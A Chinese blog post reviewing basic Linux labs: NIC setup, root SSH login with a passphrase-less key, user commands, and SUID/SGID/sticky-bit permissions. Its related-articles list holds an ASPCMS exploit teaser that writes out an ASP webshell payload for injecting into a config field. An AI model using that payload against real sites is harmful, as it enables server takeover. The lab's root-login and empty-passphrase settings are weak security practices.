基础实验回顾

news2024/9/24 19:20:42

一、虚拟机网络设定

在这里插入图片描述
在这里插入图片描述

克隆一台node1

在node1上进行网络配置

进入网卡配置目录

# 红帽9网卡配置文件目录,其他版本不一样
[root@localhost ~]# cd /etc/NetworkManager/system-connections/

网卡配置文件

[root@localhost system-connections]# vim ens160.nmconnection

在这里插入图片描述

[root@localhost system-connections]# nmcli connection reload 
[root@localhost system-connections]# nmcli connection up ens160

二、sshd

更改sshd配置文件,允许超级用户登录

[root@localhost ~]# vim /etc/ssh/sshd_config

在这里插入图片描述

PermitRootLogin yes 允许超级用户登录,不更改Xshell连接不上

重启sshd服务

[root@localhost ~]# systemctl restart sshd
纯净实验环境
[root@localhost ~]# rm -rf ~/.ssh/
生成密钥
[root@localhost ~]# ssh-keygen -f /root/.ssh/id_rsa -P ""

-f /root/.ssh/id_rsa -f 指定密钥位置 -P ""指定密码为空

[root@localhost ~]# ssh-keygen -f /root/.ssh/id_rsa -P ""
Generating public/private rsa key pair.
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:kEygDZAjI1PYKaiaCMV1bFnKR2bjzq5HS+EA49RX+hk root@localhost.localdomain
The key's randomart image is:
+---[RSA 3072]----+
|oBooo+oo*..      |
|@ =++==B.o       |
|+*.o.+*.+ E      |
|o   . .=.. o     |
|+.     oS.o      |
|+      .+        |
|       o..       |
|       .o        |
|      ..         |
+----[SHA256]-----+

上锁
# 锁root用户
[root@localhost ~]# ssh-copy-id -i /root/.ssh/id_rsa.pub  root@172.25.254.128
[root@localhost ~]# ssh-copy-id -i /root/.ssh/id_rsa.pub  root@172.25.254.128
/usr/bin/ssh-copy-id: INFO: Source of key(s) to be installed: "/root/.ssh/id_rsa.pub"
/usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed
/usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys
root@172.25.254.128's password: 

Number of key(s) added: 1

Now try logging into the machine, with:   "ssh 'root@172.25.254.128'"
and check to make sure that only the key(s) you wanted were added.

root用户被公钥加密成功

三、用户管理

监控动作

[root@localhost ~]# watch -n 1 "tail -n 3 /etc/passwd /etc/group;ls -l /home"

用户建立时的命令
useradd test 创建用户

userdel -r test 删除用户及其相关文件

useradd -M test 不建立用户的家目录

useradd -s /sbin/nologin test -s建立系统账号,非交互式

useradd -d /mnt test 指定用户存放的工作目录,一般为/home

四、权限管理

在Linux系统中,用户对文件或目录的访问权限除了r、w、x三种一般权限外,还有SET UID(SUID)、SET GID(SGID)、Sticky Bit(粘滞位)三种特殊权限,用于对文件或目录进行更加灵活方便的访问控制。

1、SUID 权限的含义:是为了让一般用户在执行某些程序的时候, 在程序的运行期间, 暂时获得该程序文件所属者的权限。

分析:student用户要更改自己的密码

■ student 在执行 passwd 修改自己的密码时, 其修改的密码, 最终是需要保存到 /etc/shadow

这个文件中, 而这个文件的权限是 --------- ,它的拥有者是 root ,也只有 root 可以“ 强制” 存储, 其他用户连看都不行。

■ 可偏偏 student 去执行 passwd (/usr/bin/passwd) ,却可以更新自己的密码。

这就是因为有 s 权限的存在,当 s权限在拥有者的权限位上时, 即如 -rwsr-xr-x 这样时, 称为SUID 。SUID 即 Set UID , UID 指的是拥有者的的 ID, 而这个程序 (/usr/bin/passwd) 的拥有者为(root) 。

注意:

  • suid仅对二进制文件有效。

  • 在执行过程中,调用者会暂时获得该文件的所有者权限。

  • 该权限只在程序执行的过程中有效。

# find / -perm /4000

■ 0 表示为无的权限

■ 4 代表拥有者的 s 权限位

■ /4000 代表权限至少是4000

2、SGID 权限

SGID 可以用在两个方面:

■ 文件: 如 果 SGID 设置在二进制文件上, 则不论用户是谁,在执行该程序的时候,程序的所属组将会变成该程序文件的所属组。

■ 目录, 如 果 SGID 是设置在 A 目录上, 则在 A 目录内所建立的文件或目录的所属组, 将会是此 A目录的所属组。

一 般来说, SGID 多用在特定的多人团队的项目开发上,在系统中用的很少。

该如何查询整个系统中设置了 SGID 的文件呢 ?
# find / -perm /2000
■ 0 表示为无的权限
■ 2 代表所属组的 s 权限位
■ /2000 代表权限至少是2000

3、Sticky Bit 权限

Sticky Bit (SBit) 当前只针对目录有效, 对文件没有效果。其对目录的作用是:

■ 在 具 有 SBit 的目录下, 用户若在该目录下具有 w 及 x 权限 , 则当用户在该目录下建立文件或目录时, 只有文件拥有者与 root 才有权力删除。

例如:当 student 用户属于 A 目录的组成员或属于 other ,且拥有 wx 权限时, 可以对该目录内任何人建立的目录或文件进行“ 删除/重命名/移动” 等操作。 如果将 A 目录加上了 Sticky Bit 权限, 则 student用户只能针对自己建立的文件或目录进行“ 删除/重命名/移动” 等操作。

4、设置文件和目录的特殊权限

为文件或目录添加三种特殊权限同样可以通过chmod命令来实施,使用“u±s”、“g±s”、“o±t”的字符权限模式分别用于添加和移除SUID、GUID、sticky权限。

若使用数字形式的权限模式,可采用“nnnn”格式的四位八进制数字表示,其中:后面三位是一般权限的数字表示,前面第一位则是特殊权限的标志数字:

0——表示不设置特殊权限

1——表示只设置sticky

2——表示只设置GUID权限

3——表示只设置SGID和sticky权限

4——表示只设置SUID权限

5——表示只设置SUID和sticky权限

6——表示只设置SUID和SGID

7——表示同时设置SUID、GUID、sticky3种权限

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1976094.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

@Value获取值和@ConfigurationProperties获取值用法及比较(springboot)

目录 1. 简介1.1 value基本用法 1.2 ConfigurationProperties基本用法 2. 使用2.1 value的使用创建application.yml创建Person.java创建Dog类写一个测试类 2.2 ConfigurationProperties的用法创建Person2.javaDog类写测试类 3. 区别3.1 松散绑定例子 3.2 SpEL主要用途特点例子 …

240803-沉侵式翻译插件配置Ollama的API实现网页及PDF文档的翻译

1. 在插件中点击Options按钮 2. 在开发者模式中启动Enable Beta Testing Features 3 在General中进行设置 ## 4. 在Expand中设置API的URL 5. Qwen:0.5B网页翻译效果 6. Qwen:0.5BPDF翻译效果 7. 参考文献 gemma - 给沉浸式翻译插件配置本地大模型o…

剪画小程序:致敬奥运举重冠军:照片变成动漫风格!

在巴黎奥运会的赛场上,那些奥运冠军们的身影如同璀璨星辰,闪耀着无尽的光芒! 看,举重冠军力拔山兮气盖世,那坚定的眼神中透露出无畏的勇气,爆发的力量更是震撼人心。 借助剪画,将这令人心潮澎湃…

【Vue】computed计算对象不生效问题?

问题描述 最近使用vuex来管理全局状态,遇到了computed计算state中数据却不生效的问题。 原因分析: 先看vue官网示例: computed接收的是一个getter函数,但是这个getter函数是懒加载并且有缓存的,当计算属性最终计算…

ORACLE和PG的饭圈文化

饭圈文化: 就是FANS! 饭圈,网络用语中指粉丝圈子的简称,另外“粉丝”一词的英文单词为“fans”,单词fans本身由fans构成,s一般表示多个,其中的fan可以直接音译为“饭”。 [1]粉丝群体叫“饭”,他们组成的…

特定领域软件架构-系统架构师(三十八)

软件架构复用 有三个阶段: 首先构造/获取可复用的软件资产其次管理这些资产(构件库)最后针对这些需求,从这些资产中选择可复用的部分,满足需求应用系统。 特定领域软件架构 DSSA(Domain Specific softwa…

小程序背景图片无法通过 WXSS 获取

问题:pages/index/index.wxss 中的本地资源图片无法通过 WXSS 获取 可以使用网络图片,或者 base64,或者使用标签。 将图片转换为base64,地址 base64图片在线转换工具 - 站长工具 在这里把要使用的图片转换一把,然后将得…

xss漏洞(三,xss进阶利用)

本文仅作为学习参考使用,本文作者对任何使用本文进行渗透攻击破坏不负任何责任。 前言: 1,本文基于dvwa靶场以及PHP study进行操作,靶场具体搭建参考上一篇: xss漏洞(二,xss靶场搭建以及简单…

点可云ERP进销存V8版本—销货订单的操作使用与关联单据处理

本章将要讲解销货订单的详细操作内容,以及导入导出、打印功能,还包括与销货订单相关联的其他单据之间的处理关系。 销货订单是指客户向用户企业提交的购买产品或者服务的请求或者指示,它记录了客户的需求和购买意向,并用于指导和管…

锅总浅析防火墙

防火墙简介 防火墙是一种网络安全设备或软件,用于监控和控制进出网络流量,基于一组预定义的安全规则来决定允许或阻止特定的网络流量。防火墙的主要目的是保护网络和计算机系统免受未经授权的访问、攻击和其他安全威胁。以下是防火墙的几个关键概念和类…

技术前沿:7个未来派网站模板的创新探索

1、即时设计资源广场 即时设计——可实时协作的专业 UI 设计工具https://ad.js.design/online/ui/?sourcecsdn&plan802即时设计是一种原型设计软件,其材料广场非常丰富,涵盖了组件、页面、原型、设计、思维导图、流程图、操作图等方面。因为即时设…

ASPCMS 漏洞详细教程

一.后台修改配置文件拿shell 登录后台 如下操作 保存并抓包 将slideTextStatus的值修改为1%25><%25Eval(Request(chr(65)))25><%25 放包&#xff08;连接密码是a&#xff09; 然后用工具连接 成功连接

本科阶段最后一次竞赛Vlog——2024年智能车大赛智慧医疗组准备全过程——3bin模型转化环境的准备

本科阶段最后一次竞赛Vlog——2024年智能车大赛智慧医疗组准备全过程——3bin模型转化环境的准备 ​ 今天给大家带来的是在上一期基础上最重要的一步&#xff0c;这个地方是我开始踩坑的开始。 ​ 当时一开始看教程&#xff0c;不知道怎么看到了高级进阶版。当时也是弄了好久…

声临其境!体验阿里云开源音频基座大模型——FunAudioLLM

千等万等&#xff0c;终于还是等来了阿里最新开源的音频基座大模型FunAudioLLM&#xff0c;真不愧是AI届的活菩萨啊&#xff0c;不过&#xff0c;我心心念念的达摩院寻光AI视频创作平台到底什么时候开放啊&#xff01;&#xff01; 停止发疯&#xff0c;进入正题。。。 引言 …

【C语言】关系、条件、逻辑操作符

1. 关系操作符 在C语言中用于比较的表达式称为关系表达式&#xff0c;而其中使用的运算符就称为关系运算符&#xff0c;主要有&#xff1a; >大于运算符<小于运算符>大于等于运算符<小于等于运算符相等运算符!不相等运算符 比如&#xff1a; a < b; a > …

安卓将子模块打aar包,并将其远程依赖打包进去

生成 AAR 包 在Android Studio Terminal 窗口输入以下命令&#xff1a; ./gradlew :monitor:assembleRelease把 monitor 换成你子模块的名称&#xff0c;不出意外的话 就会在下面目录生成相应aar文件 注意&#xff1a;如果你的Java运行环境是Java 8 则在老一点的AS上 可以运…

【Stable Diffusion】(基础篇九)—— 扩展

扩展 本系列博客笔记主要参考B站nenly同学的视频教程&#xff0c;传送门&#xff1a;B站第一套系统的AI绘画课&#xff01;零基础学会Stable Diffusion&#xff0c;这绝对是你看过的最容易上手的AI绘画教程 | SD WebUI 保姆级攻略_哔哩哔哩_bilibili 添加一些SD对应的扩展&am…

【前端 22】使用Nginx部署前端项目

使用Nginx部署前端项目 在前端开发中&#xff0c;将项目打包并部署到服务器上是一个常见的需求。Nginx以其高性能、稳定性和丰富的特性成为了前端项目部署的热门选择。下面&#xff0c;我将详细介绍如何使用Nginx部署一个前端项目&#xff0c;并展开讲解Nginx的目录结构以及如何…

第TR4周:Transformer中的位置编码详解

在实施 NLP 解决方案时&#xff0c;循环神经网络&#xff08;RNN&#xff09;具有处理序列顺序的内置机制。Transformer则是引入来位置编码机制来保存文本中字符的位置信息。 位置编码定义 位置编码记录了文本中字符的位置信息&#xff0c;这里位置信息的记录不使用单个数字&am…

quartz实现动态定时任务管理

1、需求 配置中&#xff0c;固定周期&#xff0c;单位秒。需要任务每间隔这个秒数 执行进行统计。 2、分析 要实现这个需求&#xff0c;之前一直在用的多线程方案也行。详见 既然前面用quartz 根据cron表达式上一次和下一次的执行时间判断。 本次就用quartz来实现动态任务。…